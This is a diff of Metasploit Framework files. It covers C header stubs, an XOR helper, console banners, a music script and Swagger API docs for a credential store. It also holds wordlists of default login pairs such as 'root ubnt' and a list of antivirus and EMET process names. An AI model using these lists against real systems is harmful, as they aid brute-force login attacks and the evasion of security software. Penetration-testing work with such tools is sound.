|
||||
typedef void* PVOID;
|
||||
typedef void* LPVOID;
|
||||
typedef void* LPCVOID;
|
||||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
typedef LONG_PTR LPARAM;
|
||||
typedef long NTSTATUS;
|
||||
typedef ULONG* PULONG;
|
||||
typedef ULONG REGSAM;
|
||||
typedef LRESULT (CALLBACK* HOOKPROC)(int, WPARAM, LPARAM);
|
||||
typedef __stdcall int (*FARPROC)();
|
||||
typedef struct _iobuf FILE;
|
||||
typedef long fpos_t;
|
||||
typedef int* LPINT;
|
||||
|
||||
typedef struct {
|
||||
unsigned int gp_offset;
|
||||
unsigned int fp_offset;
|
||||
void *overflow_arg_area;
|
||||
void *reg_save_area;
|
||||
} va_list[1];
|
||||
@@ -1,40 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
FILE* popen(const char*, const char*);
|
||||
int pclose(FILE*);
|
||||
int fscanf(FILE*, const char*, ...);
|
||||
int scanf(const char*, ...);
|
||||
int sscanf(const char*, const char*, ...);
|
||||
int vfscanf(FILE*, const char*, va_list);
|
||||
int vsscanf(const char*, const char*, va_list);
|
||||
int fclose(FILE*);
|
||||
void clearerr(FILE*);
|
||||
int feof(FILE*);
|
||||
int ferror(FILE*);
|
||||
int fflush(FILE*);
|
||||
int fgetpos(FILE*, fpos_t*);
|
||||
FILE *fopen(const char*, const char*);
|
||||
size_t fread(void*, size_t, size_t, FILE*);
|
||||
FILE *freopen(const char*, const char*, FILE*);
|
||||
int fseek(FILE*, long int, int);
|
||||
int fsetpos(FILE*, const fpos_t*);
|
||||
long int ftell(FILE*);
|
||||
size_t fwrite(const void*, size_t, size_t, FILE*);
|
||||
int remove(const char*);
|
||||
int rename(const char*, const char*);
|
||||
void rewind(FILE*);
|
||||
void setbuf(FILE*, char*);
|
||||
int setvbuf(FILE*, char*, int, size_t);
|
||||
FILE *tmpfile(void);
|
||||
char *tmpnam(char*);
|
||||
int fprintf(FILE*, const char*, ...);
|
||||
int printf(const char*, ...);
|
||||
int sprintf(char*, const char*, ...);
|
||||
int vfprintf(FILE*, const char*, va_list);
|
||||
int vsprintf(char*, const char*, va_list);
|
||||
int vsnprintf(char*, size_t, const char*, va_list);
|
||||
int vasprintf(char**, const char*, va_list);
|
||||
int vdprintf(int, const char*, va_list);
|
||||
@@ -1,48 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
typedef struct _div_t {
|
||||
int quot;
|
||||
int rem;
|
||||
} div_t;
|
||||
|
||||
typedef struct _ldiv_t {
|
||||
long quot;
|
||||
long rem;
|
||||
} ldiv_t;
|
||||
|
||||
typedef struct _lldiv_t {
|
||||
long long quot;
|
||||
long long rem;
|
||||
} lldiv_t;
|
||||
|
||||
int rand(void);
|
||||
void srand(unsigned);
|
||||
void* malloc(size_t);
|
||||
void* realloc(void*, size_t);
|
||||
void free(void*);
|
||||
double atof(const char*);
|
||||
double strtod(const char*, char**);
|
||||
float strtof(const char*, char**);
|
||||
long int strtol(const char*, char**, int);
|
||||
long double strtold(const char*, char**);
|
||||
int atoi(const char*);
|
||||
void abort(void);
|
||||
void exit(int);
|
||||
int atexit(void (*function)(void));
|
||||
char* getenv(const char*);
|
||||
int setenv(const char*, const char*, int);
|
||||
int putenv(char*);
|
||||
int unsetenv(const char*);
|
||||
void *bsearch(const void*, const void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
void qsort(void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
int abs(int);
|
||||
int mblen(const char*, size_t);
|
||||
int system(const char*);
|
||||
long int labs(long int);
|
||||
div_t div(int, int);
|
||||
ldiv_t ldiv(long int, long int);
|
||||
void* malloc (size_t size);
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
@@ -25,6 +25,6 @@
|
||||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
https://metasploit.com%clr
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
%clr%red .;lxO0KXXXK0Oxl:.
|
||||
,o0WMMMMMMMMMMMMMMMMMMKd,
|
||||
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
|
||||
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
|
||||
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
|
||||
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
|
||||
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
|
||||
oMMMMMMMMMMx. dMMMMMMMMMMx
|
||||
.WMMMMMMMMM: :MMMMMMMMMM,
|
||||
xMMMMMMMMMo lMMMMMMMMMO
|
||||
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
|
||||
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
|
||||
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
|
||||
xMMMMMMMMMd ,0MMMMMMMMMMK;
|
||||
.WMMMMMMMMMc 'OMMMMMM0,
|
||||
lMMMMMMMMMMk. .kMMO'
|
||||
dMMMMMMMMMMWd' ..
|
||||
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
|
||||
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
|
||||
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
|
||||
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
|
||||
%red 'oOWMMMMMMMMo%clr +:+
|
||||
%red .,cdkO0K;%clr :+: :+:
|
||||
:::::::+:
|
||||
%whiMetasploit%clr %yelUnder Construction%clr
|
||||
@@ -1,6 +0,0 @@
|
||||
```
|
||||
msf > use <%= mod.fullname %>
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
... show and set options ...
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
||||
Binary file not shown.
@@ -0,0 +1,58 @@
|
||||
use_bpm 130
|
||||
use_synth_defaults sustain: 0
|
||||
|
||||
live_loop :drums do
|
||||
sample :drum_heavy_kick, amp: 2
|
||||
sleep 1
|
||||
sample :drum_snare_hard
|
||||
sleep 1
|
||||
end
|
||||
|
||||
live_loop :hi_hat do
|
||||
sample :drum_cymbal_closed, amp: 0.5
|
||||
sleep 0.5
|
||||
end
|
||||
|
||||
live_loop :bass do
|
||||
use_synth :pluck
|
||||
|
||||
notes = %i[
|
||||
Eb3 Eb3 Eb3
|
||||
B2 B2 B2
|
||||
Fs2 Fs2 Fs2
|
||||
As2 As2 As2 As2
|
||||
]
|
||||
|
||||
beats = %w[
|
||||
2.0 1.0 1.0
|
||||
2.0 1.0 1.0
|
||||
2.0 1.0 1.0
|
||||
1.5 1.0 0.5 1.0
|
||||
].map(&:to_f)
|
||||
|
||||
with_fx :reverb do
|
||||
play_pattern_timed notes, beats
|
||||
end
|
||||
end
|
||||
|
||||
live_loop :lead do
|
||||
use_synth :piano
|
||||
|
||||
notes = %i[
|
||||
As4 As4 As4 As4 Gs4 As4 As4
|
||||
As4 As4 As4 Gs4 As4 As4
|
||||
Db5 As4 Gs4 Fs4
|
||||
Eb4 Eb4 F4 Fs4 Eb4
|
||||
]
|
||||
|
||||
beats = %w[
|
||||
2.00 0.50 0.25 0.25 0.25 0.75 2.00
|
||||
0.50 0.25 0.25 0.25 0.75 1.50
|
||||
1.00 1.00 1.00 1.00
|
||||
0.50 0.50 0.50 0.50 0.50
|
||||
].map(&:to_f)
|
||||
|
||||
with_fx :reverb do
|
||||
play_pattern_timed notes, beats
|
||||
end
|
||||
end
|
||||
@@ -1,3 +1,12 @@
|
||||
AlMon.exe
|
||||
SAVAdminService.exe
|
||||
SavService.exe
|
||||
SNTPService.exe
|
||||
swc_service.exe
|
||||
swi_fc.exe
|
||||
swi_filter.exe
|
||||
swi_service.exe
|
||||
swi_fc.exe
|
||||
emet_agent.exe
|
||||
emet_service.exe
|
||||
firesvc.exe
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
244+0000009999
|
||||
188+030000
|
||||
19b+00000F
|
||||
19b+000010
|
||||
@@ -4,3 +4,4 @@ root
|
||||
Administrator
|
||||
USERID
|
||||
guest
|
||||
Admin
|
||||
|
||||
@@ -405,6 +405,7 @@ root realtek
|
||||
root root
|
||||
root tini
|
||||
root tslinux
|
||||
root ubnt
|
||||
root user
|
||||
root vizxv
|
||||
root wyse
|
||||
|
||||
@@ -44,7 +44,7 @@ apc
|
||||
bintec
|
||||
blue
|
||||
c
|
||||
cable-d
|
||||
cable-docsis
|
||||
canon_admin
|
||||
cc
|
||||
cisco
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
+29809
-16525
File diff suppressed because it is too large
Load Diff
@@ -1,61 +0,0 @@
|
||||
require 'swagger/blocks'
|
||||
|
||||
module AuthApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
MESSAGE_DESC = 'The status of the authentication request.'
|
||||
MESSAGE_EXAMPLE = 'Generated new API token.'
|
||||
TOKEN_DESC = 'The Authentication Bearer token'
|
||||
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
|
||||
|
||||
# Swagger documentation for auth model
|
||||
swagger_schema :Auth do
|
||||
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
|
||||
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/auth/generate-token' do
|
||||
# Swagger documentation for /api/v1/auth/generate-token POST
|
||||
operation :post do
|
||||
|
||||
key :description, 'Return a valid Authorization Bearer token.'
|
||||
key :tags, [ 'auth' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'Login credentials for the user who will be generating a token.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :username, type: :string, required: true
|
||||
property :password, type: :string, required: true
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns a valid auth token.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Auth
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,370 +0,0 @@
|
||||
require 'swagger/blocks'
|
||||
|
||||
# TODO: Complete this documentation when the credential model is fully implemented in the API.
|
||||
module CredentialApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
|
||||
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
|
||||
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
|
||||
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
|
||||
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
|
||||
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
|
||||
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
|
||||
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
|
||||
FILENAME_EXAMPLE = '/etc/shadow'
|
||||
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
|
||||
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
|
||||
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
|
||||
USERNAME_DESC = 'The username for this credential.'
|
||||
USERNAME_EXAMPLE = 'administrator'
|
||||
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
|
||||
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
|
||||
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
|
||||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
KEY_DESC = 'The name of the key for the realm.'
|
||||
KEY_EXAMPLE = 'Active Directory Domain'
|
||||
VALUE_DESC = 'The value of the key for the realm.'
|
||||
VALUE_EXAMPLE = 'contoso.com'
|
||||
|
||||
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
'Metasploit::Credential::NonreplayableHash',
|
||||
'Metasploit::Credential::NTLMHash',
|
||||
'Metasploit::Credential::Password',
|
||||
'Metasploit::Credential::PasswordHash',
|
||||
'Metasploit::Credential::SSHKey',
|
||||
'Metasploit::Credential::PostgresMD5',
|
||||
'Metasploit::Credential::BlankPassword'
|
||||
]
|
||||
PRIVATE_TYPE_ENUM = [
|
||||
'password',
|
||||
'ssh_key',
|
||||
'ntlm_hash',
|
||||
'postgres_md5',
|
||||
'nonreplayable_hash',
|
||||
'<blank>'
|
||||
]
|
||||
ORIGIN_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::Origin::Import',
|
||||
'Metasploit::Credential::Origin::Manual',
|
||||
'Metasploit::Credential::Origin::Service',
|
||||
'Metasploit::Credential::Origin::Session'
|
||||
]
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
'import',
|
||||
'manual',
|
||||
'service',
|
||||
'session'
|
||||
]
|
||||
|
||||
|
||||
# Swagger documentation for Credential model
|
||||
swagger_schema :Credential do
|
||||
key :required, [:origin_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
|
||||
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
|
||||
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
|
||||
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
|
||||
property :logins do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
property :public, '$ref': :Public
|
||||
property :private, '$ref': :Private
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Public do
|
||||
key :required, [:username, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Private do
|
||||
key :required, [:data, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Realm do
|
||||
key :required, [:key, :value]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
|
||||
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials' do
|
||||
# Swagger documentation for /api/v1/credentials GET
|
||||
operation :get do
|
||||
key :description, 'Return credentials that are stored in the database.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :svcs
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :example, ['ssh', 'owa', 'smb']
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :type
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, PRIVATE_TYPE_CLASS_ENUM
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :user
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :example, 'administrator'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :pass
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :example, 'password123'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials POST
|
||||
operation :post do
|
||||
key :description, 'Create a credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_key, type: :string, description: KEY_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_value, type: :string, description: VALUE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
|
||||
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
|
||||
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified credentials.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns an array containing the successfully deleted credentials.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials/{id}' do
|
||||
# Swagger documentation for api/v1/credentials/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return credential that is stored in the database.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of credential to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#Swagger documentation for /api/v1/credentials/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,54 +0,0 @@
|
||||
require 'swagger/blocks'
|
||||
|
||||
module DbExportApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
swagger_path '/api/v1/db-export' do
|
||||
# Swagger documentation for /api/v1/db-export GET
|
||||
operation :get do
|
||||
key :description, 'Create a backup of the database as a file that can be re-imported to restore data.'
|
||||
key :tags, [ 'db_export' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :path
|
||||
key :required, true
|
||||
key :description, 'The location to store the export file.'
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :format
|
||||
key :required, true
|
||||
key :description, 'The file format to export as. Valid values are \'xml\' and \'pwdump\''
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'A JSON object containing the Base64 encoded backup file.'
|
||||
schema do
|
||||
property :data do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,177 +0,0 @@
|
||||
require 'swagger/blocks'
|
||||
|
||||
module EventApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
NAME_DESC = 'The name of the event.'
|
||||
NAME_EXAMPLE = 'module_run'
|
||||
HOST_DESC = 'The address of the host related to this event.'
|
||||
CRITICAL_DESC = 'true if the event is considered critical.'
|
||||
SEEN_DESC = 'true if a user has acknowledged the event.'
|
||||
USERNAME_DESC = 'Name of the user that triggered the event.'
|
||||
INFO_DESC = 'Information about the event specific to the event name.'
|
||||
INFO_EXAMPLE = {command: 'irb'}
|
||||
|
||||
# Swagger documentation for Event model
|
||||
swagger_schema :Event do
|
||||
key :required, [:name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :seen, type: :string, description: SEEN_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/events' do
|
||||
# Swagger documentation for /api/v1/events GET
|
||||
operation :get do
|
||||
key :description, 'Return events that are stored in the database.'
|
||||
key :tags, [ 'event' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :limit
|
||||
key :in, :query
|
||||
key :description, RootApiDoc::LIMIT_DESC
|
||||
key :example, RootApiDoc::LIMIT_DEFAULT
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
key :required, false
|
||||
